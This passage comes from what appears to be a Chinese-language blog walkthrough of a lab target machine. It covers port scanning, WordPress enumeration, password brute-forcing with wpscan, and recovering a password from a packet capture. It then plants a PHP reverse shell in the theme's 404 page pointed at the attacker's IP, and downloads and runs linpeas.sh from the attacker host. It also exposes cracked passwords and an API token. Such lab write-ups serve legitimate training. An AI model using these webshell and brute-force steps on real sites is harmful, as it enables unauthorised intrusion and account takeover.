&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-6891660b62bd2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/index.php/2018/10/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-6891660c3be84
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/wp-login.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: loginform
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /wp-login.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/index.php/category/uncategorized/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-6891660f60ed9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/index.php/2018/10/%5C
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-6891661069879
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/index.php/comments/feed/1quot&lt;span class="p"&gt;;&lt;/span&gt;https:/gravatar.com&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;Gravatar&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;/a&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;.&lt;span class="o"&gt;]]&lt;/span&gt;/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-689166118697a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://172.168.169.146:80/wp-login.php?action&lt;span class="o"&gt;=&lt;/span&gt;lostpassword
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: lostpasswordform
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Form action: /wp-login.php?action&lt;span class="o"&gt;=&lt;/span&gt;lostpassword
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-login.php: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /readme.html: Wordpress version: &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /: WordPress version: 4.9.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/images/rss.png: Wordpress version 2.2 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/images/blank.gif: Wordpress version 2.6 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-login.php: Wordpress login page.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-admin/upgrade.php: Wordpress login page.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ /readme.html: Interesting, a readme.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:59:30:A8 &lt;span class="o"&gt;(&lt;/span&gt;VMware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 33.32 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Webdeveloper&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://172.168.169.146/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.146/ &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; Apache&lt;span class="o"&gt;[&lt;/span&gt;2.4.29&lt;span class="o"&gt;]&lt;/span&gt;, Country&lt;span class="o"&gt;[&lt;/span&gt;UNITED STATES&lt;span class="o"&gt;][&lt;/span&gt;US&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;Ubuntu Linux&lt;span class="o"&gt;][&lt;/span&gt;Apache/2.4.29 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;172.168.169.146&lt;span class="o"&gt;]&lt;/span&gt;, JQuery&lt;span class="o"&gt;[&lt;/span&gt;1.12.4&lt;span class="o"&gt;]&lt;/span&gt;, MetaGenerator&lt;span class="o"&gt;[&lt;/span&gt;WordPress 4.9.8&lt;span class="o"&gt;]&lt;/span&gt;, PoweredBy&lt;span class="o"&gt;[&lt;/span&gt;WordPress,WordPress,&lt;span class="o"&gt;]&lt;/span&gt;, Script&lt;span class="o"&gt;[&lt;/span&gt;text/javascript&lt;span class="o"&gt;]&lt;/span&gt;, Title&lt;span class="o"&gt;[&lt;/span&gt;Example site &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#8211; Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;Starting gobuster in directory enumeration &lt;span class="nv"&gt;mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.146/wp-content &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 323&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://172.168.169.146/wp-content/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.146/wp-includes &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 324&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://172.168.169.146/wp-includes/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.146/wp-admin &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 321&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://172.168.169.146/wp-admin/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.146/server-status &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 303&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;Progress: &lt;span class="m"&gt;220559&lt;/span&gt; / &lt;span class="m"&gt;220560&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;Finished&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以 看到是wordpress系统，这个洞老多了。一会上wpscan扫。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805101810018.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805100647806.png"&gt;
数据库注入的nmap扫描提示，但实际是文件未授权访问
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805100938871.png"&gt;&lt;/p&gt;
&lt;p&gt;wpscan开扫&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wpscan --update --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://172.168.169.146/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里提示数据库连接不对，也提示了用户名和密码存放在wp-config.php中。点了这个页面后靶机就挂了，也可能是wpscan给扫崩的，只能重启一下了。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805102805740.png"&gt;
扫出来提示用户名 webdeveloper
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805104109111.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805104039469.png"&gt;
继续爆破密码，太漫长了，后面换了个小字典也是爆破不出来，放弃。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; wpscan --url http://172.168.169.146/ -U user.txt -P /usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805105028763.png"&gt;
换个字典再扫一次，发现了之前没扫出来的文件。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -x 302,403 -u http://172.168.169.146/ -w /usr/share/dirb/wordlists/common.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805105742856.png"&gt;&lt;/p&gt;
&lt;h3 id="流量包信息分析"&gt;流量包信息分析
&lt;/h3&gt;&lt;p&gt;打开新扫描到的目录发现一个流量包文件，下载后分析
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805105302485.png"&gt;
分析流量发现有两个数字最多的IP，活动频繁就说明有爆破或者扫描的内容。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805110125664.png"&gt;
搜蓝一下确实发现222这个IP用POST传了一个什么东西上去
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805111352264.png"&gt;&lt;/p&gt;
&lt;p&gt;流量包分析中用到的命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tshark -r analyze.cap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 统计IP频率&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;tshark -r analyze.cap &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定查看某个IP的流量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 只看 POST的结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap &lt;span class="p"&gt;|&lt;/span&gt;grep POST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 解析出来结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;tshark -r analyze.cap -Y &lt;span class="s2"&gt;&amp;#34;ip.dst==192.168.1.176 &amp;amp;&amp;amp; http.request.method==POST&amp;#34;&lt;/span&gt; -V
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805112847589.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;webdeveloper登陆密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;Te5eQg&amp;amp;4sBS!Yr$)wf%(DcAd&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h2 id="后台漏洞利用"&gt;后台漏洞利用
&lt;/h2&gt;&lt;p&gt;登录成功
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805112925495.png"&gt;&lt;/p&gt;
&lt;p&gt;发现可以直接修改主题模板文件，直接改php，选择404页面，不要选择index 比较隐蔽，而且每一次有人点错了页面都能重新连接一下。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805114640798.png"&gt;
找马，复制，改马，修改到主题上。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.141&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805115038114.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805115339936.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805115558200.png"&gt;&lt;/p&gt;
&lt;h2 id="内网信息收集"&gt;内网信息收集
&lt;/h2&gt;&lt;p&gt;看一下网页配置文件就发现了数据库密码
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805115950971.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;数据库密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;webdeveloper
MasterOfTheUniverse&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;主用户文件夹下没有有用的信息，最下面那个文件是个空的，算是个提示？
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805120459111.png"&gt;
先连接数据库
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805120719827.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805120826980.png"&gt;
这个密码就是登录密码，已经搞到了，没啥用的这个数据库。&lt;/p&gt;
&lt;h3 id="登录-webdeveloper账户"&gt;登录 webdeveloper账户
&lt;/h3&gt;&lt;p&gt;数据库没有搞到有用的信息了，查看用户发现系统里只有这一个用户，很大概率上这个个人博客管理员和发布者都是一个人，也是服务器的所有者，所以密码可能是和数据库密码一样的，简单试一下就成功了。（PS：我本来还想试一下博客页面登录密码的）之后为了稳定的终端，也可以用ssh登录。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805121159707.png"&gt;
查看主用户文件夹
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805121616046.png"&gt;
疑似是root的密码，但是root无论是su root还是数据库都登录不了。 卡住了，上小豌豆扫一下。&lt;/p&gt;
&lt;h3 id="小豌豆内网扫描"&gt;小豌豆内网扫描
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.141:8000/linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod +x linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./linpeas.sh
